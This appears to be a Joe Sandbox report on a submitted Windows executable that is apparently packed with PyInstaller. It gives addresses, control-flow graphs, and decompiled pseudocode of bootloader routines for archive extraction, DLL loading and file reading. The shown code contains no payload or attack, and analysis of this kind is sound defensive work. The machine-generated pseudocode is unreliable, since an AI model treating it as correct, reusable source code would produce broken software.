                                                                                                                              0x7ff7da8d6fd1
                                                                                                                              0x7ff7da8d6fda
                                                                                                                              0x7ff7da8d6fe5
                                                                                                                              0x7ff7da8d6fed
                                                                                                                              0x7ff7da8d6ffc
                                                                                                                              0x7ff7da8d7003
                                                                                                                              0x7ff7da8d700b
                                                                                                                              0x7ff7da8d701a
                                                                                                                              0x7ff7da8d701f
                                                                                                                              0x7ff7da8d7022
                                                                                                                              0x7ff7da8d702a
                                                                                                                              0x7ff7da8d7039
                                                                                                                              0x7ff7da8d703e
                                                                                                                              0x7ff7da8d7046
                                                                                                                              0x7ff7da8d704c
                                                                                                                              0x7ff7da8d7064
                                                                                                                              0x7ff7da8d7071
                                                                                                                              0x7ff7da8d7076
                                                                                                                              0x7ff7da8d707b
                                                                                                                              0x7ff7da8d7080
                                                                                                                              0x7ff7da8d7084
                                                                                                                              0x7ff7da8d7088
                                                                                                                              0x7ff7da8d7090
                                                                                                                              0x7ff7da8d709c
                                                                                                                              0x7ff7da8d70ac
                                                                                                                              0x7ff7da8d70b6
                                                                                                                              0x7ff7da8d70c6
                                                                                                                              0x7ff7da8d70f0

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                                                                                                              • String ID: CreateProcessW$Error creating child process!
                                                                                                                              • API String ID: 2895956056-3524285272
                                                                                                                              • Opcode ID: a68fb7304a42ac273bc53bf185094bfbd624d4ea67b8908c2ccc1c8bf35a7020
                                                                                                                              • Instruction ID: fe290bdd321b5e6ad29992a19bfce8018d0919ed447951aab990f5a979b7050a
                                                                                                                              • Opcode Fuzzy Hash: a68fb7304a42ac273bc53bf185094bfbd624d4ea67b8908c2ccc1c8bf35a7020
                                                                                                                              • Instruction Fuzzy Hash: 03413F32A0878286EA11AB60F4452AEF7A4FFE4350FD00576EA8D43B96DF7CD1648B50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 383 7ff7da8d1000-7ff7da8d3666 call 7ff7da8defd0 call 7ff7da8defc8 call 7ff7da8d7570 call 7ff7da8defc8 call 7ff7da8dad20 call 7ff7da8e41c0 call 7ff7da8e4e64 call 7ff7da8d1af0 401 7ff7da8d366c-7ff7da8d367b call 7ff7da8d3b80 383->401 402 7ff7da8d377a 383->402 401->402 407 7ff7da8d3681-7ff7da8d3694 call 7ff7da8d3a50 401->407 404 7ff7da8d377f-7ff7da8d379f call 7ff7da8dacf0 402->404 407->402 411 7ff7da8d369a-7ff7da8d36ad call 7ff7da8d3b00 407->411 411->402 414 7ff7da8d36b3-7ff7da8d36da call 7ff7da8d6970 411->414 417 7ff7da8d371c-7ff7da8d3744 call 7ff7da8d6f10 call 7ff7da8d19d0 414->417 418 7ff7da8d36dc-7ff7da8d36eb call 7ff7da8d6970 414->418 428 7ff7da8d382d-7ff7da8d383e 417->428 429 7ff7da8d374a-7ff7da8d3760 call 7ff7da8d19d0 417->429 418->417 423 7ff7da8d36ed-7ff7da8d36f3 418->423 425 7ff7da8d36f5-7ff7da8d36fd 423->425 426 7ff7da8d36ff-7ff7da8d3719 call 7ff7da8e3fec call 7ff7da8d6f10 423->426 425->426 426->417 433 7ff7da8d3853-7ff7da8d386b call 7ff7da8d79a0 428->433 434 7ff7da8d3840-7ff7da8d384a call 7ff7da8d3260 428->434 439 7ff7da8d37a0-7ff7da8d37a3 429->439 440 7ff7da8d3762-7ff7da8d3775 call 7ff7da8d2770 429->440 444 7ff7da8d386d-7ff7da8d3879 call 7ff7da8d2770 433->444 445 7ff7da8d387e-7ff7da8d3885 SetDllDirectoryW 433->445 448 7ff7da8d388b-7ff7da8d3898 call 7ff7da8d5e20 434->448 449 7ff7da8d384c 434->449 439->428 447 7ff7da8d37a9-7ff7da8d37c0 call 7ff7da8d3c90 439->447 440->402 444->402 445->448 458 7ff7da8d37c2-7ff7da8d37c5 447->458 459 7ff7da8d37c7-7ff7da8d37f3 call 7ff7da8d7170 447->459 456 7ff7da8d38e6-7ff7da8d38eb call 7ff7da8d5da0 448->456 457 7ff7da8d389a-7ff7da8d38aa call 7ff7da8d5ac0 448->457 449->433 466 7ff7da8d38f0-7ff7da8d38f3 456->466 457->456 473 7ff7da8d38ac-7ff7da8d38bb call 7ff7da8d5620 457->473 462 7ff7da8d3802-7ff7da8d3818 call 7ff7da8d2770 458->462 468 7ff7da8d37f5-7ff7da8d37fd call 7ff7da8df1fc 459->468 469 7ff7da8d381d-7ff7da8d382b 459->469 462->402 471 7ff7da8d39a6-7ff7da8d39b5 call 7ff7da8d30f0 466->471 472 7ff7da8d38f9-7ff7da8d3906 466->472 468->462 469->434 471->402 487 7ff7da8d39bb-7ff7da8d39f2 call 7ff7da8d6ea0 call 7ff7da8d6970 call 7ff7da8d53c0 471->487 475 7ff7da8d3910-7ff7da8d391a 472->475 485 7ff7da8d38dc-7ff7da8d38e1 call 7ff7da8d5870 473->485 486 7ff7da8d38bd-7ff7da8d38c9 call 7ff7da8d55b0 473->486 479 7ff7da8d3923-7ff7da8d3925 475->479 480 7ff7da8d391c-7ff7da8d3921 475->480 483 7ff7da8d3971-7ff7da8d39a1 call 7ff7da8d3250 call 7ff7da8d3090 call 7ff7da8d3240 call 7ff7da8d5870 call 7ff7da8d5da0 479->483 484 7ff7da8d3927-7ff7da8d394a call 7ff7da8d1b30 479->484 480->475 480->479 483->404 484->402 500 7ff7da8d3950-7ff7da8d395b 484->500 485->456 486->485 497 7ff7da8d38cb-7ff7da8d38da call 7ff7da8d5c70 486->497 487->402 510 7ff7da8d39f8-7ff7da8d3a2d call 7ff7da8d3250 call 7ff7da8d6f50 call 7ff7da8d5870 call 7ff7da8d5da0 487->510 497->466 501 7ff7da8d3960-7ff7da8d396f 500->501 501->483 501->501 523 7ff7da8d3a2f-7ff7da8d3a32 call 7ff7da8d6c10 510->523 524 7ff7da8d3a37-7ff7da8d3a3a call 7ff7da8d1ab0 510->524 523->524 527 7ff7da8d3a3f-7ff7da8d3a41 524->527 527->404
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00007FF7DA8D3B80: GetModuleFileNameW.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D3BB1
                                                                                                                              • SetDllDirectoryW.KERNEL32 ref: 00007FF7DA8D3885
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: GetEnvironmentVariableW.KERNEL32(00007FF7DA8D36C7), ref: 00007FF7DA8D69AA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7DA8D69C7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
                                                                                                                              • String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
                                                                                                                              • API String ID: 2344891160-3602715111
                                                                                                                              • Opcode ID: 06f4c7843c175cd0a5cfcda01dfa76b592df23f17a5d99dd95b75d05dda82c26
                                                                                                                              • Instruction ID: baf991c8d9645cd1c75a6ac5a2bbcf806b88885f77043d97bb43af0c08f1b38c
                                                                                                                              • Opcode Fuzzy Hash: 06f4c7843c175cd0a5cfcda01dfa76b592df23f17a5d99dd95b75d05dda82c26
                                                                                                                              • Instruction Fuzzy Hash: CFB1A061A1DA8359FE66BB2198502FDD250FF80784FC840B3EE4D47697EF2CE5258720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 528 7ff7da8d1050-7ff7da8d10ab call 7ff7da8d98d0 531 7ff7da8d10d3-7ff7da8d10eb call 7ff7da8e4000 528->531 532 7ff7da8d10ad-7ff7da8d10d2 call 7ff7da8d2770 528->532 537 7ff7da8d10ed-7ff7da8d1104 call 7ff7da8d24d0 531->537 538 7ff7da8d1109-7ff7da8d1119 call 7ff7da8e4000 531->538 543 7ff7da8d126c-7ff7da8d1281 call 7ff7da8d95b0 call 7ff7da8e3fec * 2 537->543 544 7ff7da8d111b-7ff7da8d1132 call 7ff7da8d24d0 538->544 545 7ff7da8d1137-7ff7da8d1147 538->545 561 7ff7da8d1286-7ff7da8d12a0 543->561 544->543 548 7ff7da8d1150-7ff7da8d1175 call 7ff7da8df54c 545->548 554 7ff7da8d117b-7ff7da8d1185 call 7ff7da8df2c0 548->554 555 7ff7da8d125e 548->555 554->555 562 7ff7da8d118b-7ff7da8d1197 554->562 559 7ff7da8d1264 555->559 559->543 563 7ff7da8d11a0-7ff7da8d11c8 call 7ff7da8d7d20 562->563 566 7ff7da8d1241-7ff7da8d125c call 7ff7da8d2770 563->566 567 7ff7da8d11ca-7ff7da8d11cd 563->567 566->559 568 7ff7da8d11cf-7ff7da8d11d9 567->568 569 7ff7da8d123c 567->569 571 7ff7da8d1203-7ff7da8d1206 568->571 572 7ff7da8d11db-7ff7da8d11e8 call 7ff7da8dfc8c 568->572 569->566 574 7ff7da8d1208-7ff7da8d1216 call 7ff7da8dbac0 571->574 575 7ff7da8d1219-7ff7da8d121e 571->575 579 7ff7da8d11ed-7ff7da8d11f0 572->579 574->575 575->563 578 7ff7da8d1220-7ff7da8d1223 575->578 581 7ff7da8d1225-7ff7da8d1228 578->581 582 7ff7da8d1237-7ff7da8d123a 578->582 583 7ff7da8d11f2-7ff7da8d11fc call 7ff7da8df2c0 579->583 584 7ff7da8d11fe-7ff7da8d1201 579->584 581->566 585 7ff7da8d122a-7ff7da8d1232 581->585 582->559 583->575 583->584 584->566 585->548
                                                                                                                              C-Code - Quality: 57%
                                                                                                                              			E00007FF77FF7DA8D1050(long long __rax, long long __rcx, long long __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* _t13;
				void* _t28;
				void* _t31;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t41;
				void* _t44;

				_t40 = __r9;
				_t39 = __r8;
				_t18 = __rax;
				 *((long long*)(_t36 + 0x10)) = __rdx;
				 *((long long*)(_t36 + 8)) = __rcx;
				_push(_t34);
				_t37 = _t36 - 0x88;
				 *((long long*)(_t37 + 0x50)) = __rax;
				 *((long long*)(_t37 + 0x58)) = __rax;
				 *((long long*)(_t37 + 0x60)) = __rax;
				_t6 = _t18 + 0x58; // 0x58
				r8d = _t6;
				 *((intOrPtr*)(_t37 + 0x28)) = 0;
				 *((long long*)(_t37 + 0x20)) = __rax;
				_t13 = E00007FF77FF7DA8D98D0(__rdx, _t37 + 0x20, "1.2.13");
				r15d = _t13;
				if (_t13 == 0) goto 0xda8d10d3;
				r8d = _t13;
				E00007FF77FF7DA8D2770(_t18, "Failed to extract %s: inflateInit() failed with return code %d!\n", __rdx + 0x12, _t39, _t40, _t44, _t41, _t28, _t31);
				_t11 = _t34 - 1; // -1
				return _t11;
			}












                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1055
                                                                                                                              0x7ff7da8d105b
                                                                                                                              0x7ff7da8d1062
                                                                                                                              0x7ff7da8d1071
                                                                                                                              0x7ff7da8d1079
                                                                                                                              0x7ff7da8d1085
                                                                                                                              0x7ff7da8d108a
                                                                                                                              0x7ff7da8d108a
                                                                                                                              0x7ff7da8d108e
                                                                                                                              0x7ff7da8d1097
                                                                                                                              0x7ff7da8d10a1
                                                                                                                              0x7ff7da8d10a6
                                                                                                                              0x7ff7da8d10ab
                                                                                                                              0x7ff7da8d10b1
                                                                                                                              0x7ff7da8d10bb
                                                                                                                              0x7ff7da8d10c0
                                                                                                                              0x7ff7da8d10d2

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message
                                                                                                                              • String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                              • API String ID: 2030045667-1655038675
                                                                                                                              • Opcode ID: 9ad42e33b81d52d0ab0f006253fb0e0753a8aaead35cae6bf62151921f0952db
                                                                                                                              • Instruction ID: b3684fd851c4ea9f5415e35edc2e6a9974a411be8bf9f4533696a5fb81c7b5ed
                                                                                                                              • Opcode Fuzzy Hash: 9ad42e33b81d52d0ab0f006253fb0e0753a8aaead35cae6bf62151921f0952db
                                                                                                                              • Instruction Fuzzy Hash: B451AC22A0968289FE22FB51A4403BEE290BF84794FC84176DE4D876C6EF3CE5658310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EDD08 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 89%
                                                                                                                              			E00007FF77FF7DA8EDD08(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t35;
				signed long long _t56;
				intOrPtr _t60;
				signed long long _t71;
				signed long long _t72;
				long long _t78;
				void* _t82;
				signed long long _t88;
				signed long long _t89;
				signed long long _t90;
				long _t91;
				void* _t94;
				WCHAR* _t97;
				WCHAR* _t102;

				 *((long long*)(_t82 + 8)) = __rbx;
				 *((long long*)(_t82 + 0x10)) = _t78;
				 *((long long*)(_t82 + 0x18)) = __rsi;
				_push(_t71);
				r15d = __ecx;
				_t72 = _t71 | 0xffffffff;
				_t89 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t88 =  *(0x7ff7da8d0000 + 0x4cf00 + _t102 * 8) ^ _t89;
				asm("dec ecx");
				if (_t88 == _t72) goto 0xda8ede4b;
				if (_t88 == 0) goto 0xda8edd6d;
				_t56 = _t88;
				goto 0xda8ede4d;
				if (__r8 == __r9) goto 0xda8ede30;
				_t60 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ce50 + __rsi * 8));
				if (_t60 == 0) goto 0xda8edd95;
				if (_t60 != _t72) goto 0xda8ede8a;
				goto 0xda8ede1c;
				r8d = 0x800; // executed
				LoadLibraryW(_t102); // executed
				if (_t56 != 0) goto 0xda8ede6a;
				if (GetLastError() != 0x57) goto 0xda8ede0a;
				_t14 = _t56 - 0x50; // -80
				_t35 = _t14;
				r8d = _t35;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8ede0a;
				r8d = _t35;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8ede0a;
				r8d = 0;
				LoadLibraryExW(_t97, _t94, _t91);
				if (_t56 != 0) goto 0xda8ede6a;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4ce50 + __rsi * 8)) = _t72;
				if (__r8 + 4 != __r9) goto 0xda8edd76;
				_t90 =  *0xda90d008; // 0xde4e6c2f3c2e
				asm("dec eax");
				 *(0x7ff7da8d0000 + 0x4cf00 + _t102 * 8) = _t72 ^ _t90;
				return 0;
			}

















                                                                                                                              0x7ff7da8edd08
                                                                                                                              0x7ff7da8edd0d
                                                                                                                              0x7ff7da8edd12
                                                                                                                              0x7ff7da8edd17
                                                                                                                              0x7ff7da8edd24
                                                                                                                              0x7ff7da8edd2e
                                                                                                                              0x7ff7da8edd44
                                                                                                                              0x7ff7da8edd4b
                                                                                                                              0x7ff7da8edd54
                                                                                                                              0x7ff7da8edd5a
                                                                                                                              0x7ff7da8edd63
                                                                                                                              0x7ff7da8edd65
                                                                                                                              0x7ff7da8edd68
                                                                                                                              0x7ff7da8edd70
                                                                                                                              0x7ff7da8edd79
                                                                                                                              0x7ff7da8edd85
                                                                                                                              0x7ff7da8edd8a
                                                                                                                              0x7ff7da8edd90
                                                                                                                              0x7ff7da8edda2
                                                                                                                              0x7ff7da8edda8
                                                                                                                              0x7ff7da8eddb4
                                                                                                                              0x7ff7da8eddc3
                                                                                                                              0x7ff7da8eddc5
                                                                                                                              0x7ff7da8eddc5
                                                                                                                              0x7ff7da8eddcb
                                                                                                                              0x7ff7da8edddc
                                                                                                                              0x7ff7da8eddde
                                                                                                                              0x7ff7da8eddf2
                                                                                                                              0x7ff7da8eddf4
                                                                                                                              0x7ff7da8eddfc
                                                                                                                              0x7ff7da8ede08
                                                                                                                              0x7ff7da8ede14
                                                                                                                              0x7ff7da8ede23
                                                                                                                              0x7ff7da8ede29
                                                                                                                              0x7ff7da8ede3d
                                                                                                                              0x7ff7da8ede43
                                                                                                                              0x7ff7da8ede69

                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNEL32(?,00000000,?,00007FF7DA8EE0A2,?,?,-00000018,00007FF7DA8EA173,?,?,?,00007FF7DA8EA06A,?,?,?,00007FF7DA8E53C2), ref: 00007FF7DA8EDE84
                                                                                                                              • GetProcAddress.KERNEL32(?,00000000,?,00007FF7DA8EE0A2,?,?,-00000018,00007FF7DA8EA173,?,?,?,00007FF7DA8EA06A,?,?,?,00007FF7DA8E53C2), ref: 00007FF7DA8EDE90
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeLibraryProc
                                                                                                                              • String ID: api-ms-$ext-ms-
                                                                                                                              • API String ID: 3013587201-537541572
                                                                                                                              • Opcode ID: 05b603102d198864137dbc22e1d5c79a95c136e16b7dfd1a6baa0dacd04be2dd
                                                                                                                              • Instruction ID: 38165dca2cd61530afb46067c13f525548d298152e40c60e04b0d855c0d1de73
                                                                                                                              • Opcode Fuzzy Hash: 05b603102d198864137dbc22e1d5c79a95c136e16b7dfd1a6baa0dacd04be2dd
                                                                                                                              • Instruction Fuzzy Hash: 5C411322B09A03C1FA13BB12980457DA391BF64BA0FC88176DD0D97786EF3DE9598360
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EAE7C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 686 7ff7da8eae7c-7ff7da8eaea2 687 7ff7da8eaea4-7ff7da8eaeb8 call 7ff7da8e4374 call 7ff7da8e4394 686->687 688 7ff7da8eaebd-7ff7da8eaec1 686->688 706 7ff7da8eb2ae 687->706 690 7ff7da8eb297-7ff7da8eb2a3 call 7ff7da8e4374 call 7ff7da8e4394 688->690 691 7ff7da8eaec7-7ff7da8eaece 688->691 708 7ff7da8eb2a9 call 7ff7da8e9d00 690->708 691->690 694 7ff7da8eaed4-7ff7da8eaf02 691->694 694->690 695 7ff7da8eaf08-7ff7da8eaf0f 694->695 698 7ff7da8eaf11-7ff7da8eaf23 call 7ff7da8e4374 call 7ff7da8e4394 695->698 699 7ff7da8eaf28-7ff7da8eaf2b 695->699 698->708 704 7ff7da8eb293-7ff7da8eb295 699->704 705 7ff7da8eaf31-7ff7da8eaf37 699->705 709 7ff7da8eb2b1-7ff7da8eb2c8 704->709 705->704 710 7ff7da8eaf3d-7ff7da8eaf40 705->710 706->709 708->706 710->698 713 7ff7da8eaf42-7ff7da8eaf67 710->713 715 7ff7da8eaf69-7ff7da8eaf6b 713->715 716 7ff7da8eaf9a-7ff7da8eafa1 713->716 719 7ff7da8eaf92-7ff7da8eaf98 715->719 720 7ff7da8eaf6d-7ff7da8eaf74 715->720 717 7ff7da8eaf76-7ff7da8eaf8d call 7ff7da8e4374 call 7ff7da8e4394 call 7ff7da8e9d00 716->717 718 7ff7da8eafa3-7ff7da8eafcb call 7ff7da8eca1c call 7ff7da8e9d68 * 2 716->718 747 7ff7da8eb120 717->747 749 7ff7da8eafcd-7ff7da8eafe3 call 7ff7da8e4394 call 7ff7da8e4374 718->749 750 7ff7da8eafe8-7ff7da8eb013 call 7ff7da8eb6a4 718->750 721 7ff7da8eb018-7ff7da8eb02f 719->721 720->717 720->719 724 7ff7da8eb031-7ff7da8eb039 721->724 725 7ff7da8eb0aa-7ff7da8eb0b4 call 7ff7da8f298c 721->725 724->725 728 7ff7da8eb03b-7ff7da8eb03d 724->728 736 7ff7da8eb13e 725->736 737 7ff7da8eb0ba-7ff7da8eb0cf 725->737 728->725 734 7ff7da8eb03f-7ff7da8eb055 728->734 734->725 739 7ff7da8eb057-7ff7da8eb063 734->739 745 7ff7da8eb143-7ff7da8eb163 ReadFile 736->745 737->736 741 7ff7da8eb0d1-7ff7da8eb0e3 GetConsoleMode 737->741 739->725 743 7ff7da8eb065-7ff7da8eb067 739->743 741->736 746 7ff7da8eb0e5-7ff7da8eb0ed 741->746 743->725 748 7ff7da8eb069-7ff7da8eb081 743->748 751 7ff7da8eb25d-7ff7da8eb266 GetLastError 745->751 752 7ff7da8eb169-7ff7da8eb171 745->752 746->745 755 7ff7da8eb0ef-7ff7da8eb111 ReadConsoleW 746->755 758 7ff7da8eb123-7ff7da8eb12d call 7ff7da8e9d68 747->758 748->725 759 7ff7da8eb083-7ff7da8eb08f 748->759 749->747 750->721 756 7ff7da8eb283-7ff7da8eb286 751->756 757 7ff7da8eb268-7ff7da8eb27e call 7ff7da8e4394 call 7ff7da8e4374 751->757 752->751 753 7ff7da8eb177 752->753 761 7ff7da8eb17e-7ff7da8eb193 753->761 763 7ff7da8eb113 GetLastError 755->763 764 7ff7da8eb132-7ff7da8eb13c 755->764 768 7ff7da8eb28c-7ff7da8eb28e 756->768 769 7ff7da8eb119-7ff7da8eb11b call 7ff7da8e4308 756->769 757->747 758->709 759->725 767 7ff7da8eb091-7ff7da8eb093 759->767 761->758 771 7ff7da8eb195-7ff7da8eb1a0 761->771 763->769 764->761 767->725 775 7ff7da8eb095-7ff7da8eb0a5 767->775 768->758 769->747 778 7ff7da8eb1a2-7ff7da8eb1bb call 7ff7da8eaa94 771->778 779 7ff7da8eb1c7-7ff7da8eb1cf 771->779 775->725 786 7ff7da8eb1c0-7ff7da8eb1c2 778->786 782 7ff7da8eb1d1-7ff7da8eb1e3 779->782 783 7ff7da8eb24b-7ff7da8eb258 call 7ff7da8ea8d4 779->783 787 7ff7da8eb1e5 782->787 788 7ff7da8eb23e-7ff7da8eb246 782->788 783->786 786->758 790 7ff7da8eb1ea-7ff7da8eb1f1 787->790 788->758 791 7ff7da8eb1f3-7ff7da8eb1f7 790->791 792 7ff7da8eb22d-7ff7da8eb238 790->792 793 7ff7da8eb213 791->793 794 7ff7da8eb1f9-7ff7da8eb200 791->794 792->788 796 7ff7da8eb219-7ff7da8eb229 793->796 794->793 795 7ff7da8eb202-7ff7da8eb206 794->795 795->793 798 7ff7da8eb208-7ff7da8eb211 795->798 796->790 797 7ff7da8eb22b 796->797 797->788 798->796
                                                                                                                              C-Code - Quality: 57%
                                                                                                                              			E00007FF77FF7DA8EAE7C(void* __ebx, signed int __ecx, intOrPtr* __rax, long long __rbx, long long __rdx, char _a8, long long _a16, long long _a24, intOrPtr _a32) {
				void* _v72;
				long long _v80;
				signed int _v88;
				long long _v96;
				void* _v104;
				unsigned long long _v120;
				void* __rdi;
				void* __rbp;
				char _t142;
				int _t151;
				void* _t152;
				void* _t156;
				void* _t162;
				char _t170;
				char _t171;
				signed int _t175;
				signed char _t178;
				void* _t198;
				void* _t199;
				void* _t200;
				unsigned int _t202;
				void* _t205;
				long long _t210;
				long long _t246;
				intOrPtr _t247;
				signed long long _t254;
				signed short* _t258;
				intOrPtr* _t260;
				char* _t263;
				signed long long _t278;
				void* _t280;
				unsigned long long _t285;
				void* _t286;
				signed long long _t291;
				signed long long _t292;
				unsigned long long _t293;
				signed short* _t295;
				signed short* _t301;
				signed short* _t302;
				unsigned long long _t306;
				signed long long _t308;
				char* _t310;
				char* _t311;
				char* _t312;
				signed long long _t313;

				_t273 = __rdx;
				_t162 = __ebx;
				_a24 = __rbx;
				_a16 = __rdx;
				r12d = r8d;
				if (r13d != 0xfffffffe) goto 0xda8eaebd;
				E00007FF77FF7DA8E4374(__rax);
				 *__rax = 0;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 9;
				goto 0xda8eb2ae;
				if (__ecx < 0) goto 0xda8eb297;
				_t205 = r13d -  *0xda91ce20; // 0x40
				if (_t205 >= 0) goto 0xda8eb297;
				_t3 = _t285 + 1; // 0x1
				_t178 = _t3;
				_v80 = __rdx;
				_t291 = __ecx >> 6;
				_v88 = _t291;
				_t308 = __ecx + __ecx * 8;
				_t246 =  *((intOrPtr*)(0xda91ca20 + _t291 * 8));
				if (( *(_t246 + 0x38 + _t308 * 8) & _t178) == 0) goto 0xda8eb297;
				if (r12d - 0x7fffffff <= 0) goto 0xda8eaf28;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 0;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0x16;
				goto 0xda8eb2a9;
				if (r12d == 0) goto 0xda8eb293;
				if (( *(_t246 + 0x38 + _t308 * 8) & 0x00000002) != 0) goto 0xda8eb293;
				_t210 = __rdx;
				if (_t210 == 0) goto 0xda8eaf11;
				r10d =  *((char*)(_t246 + 0x39 + _t308 * 8));
				_v96 =  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8));
				_a8 = r10b;
				if (_t210 == 0) goto 0xda8eaf9a;
				if (r10d - _t178 != _t178) goto 0xda8eaf92;
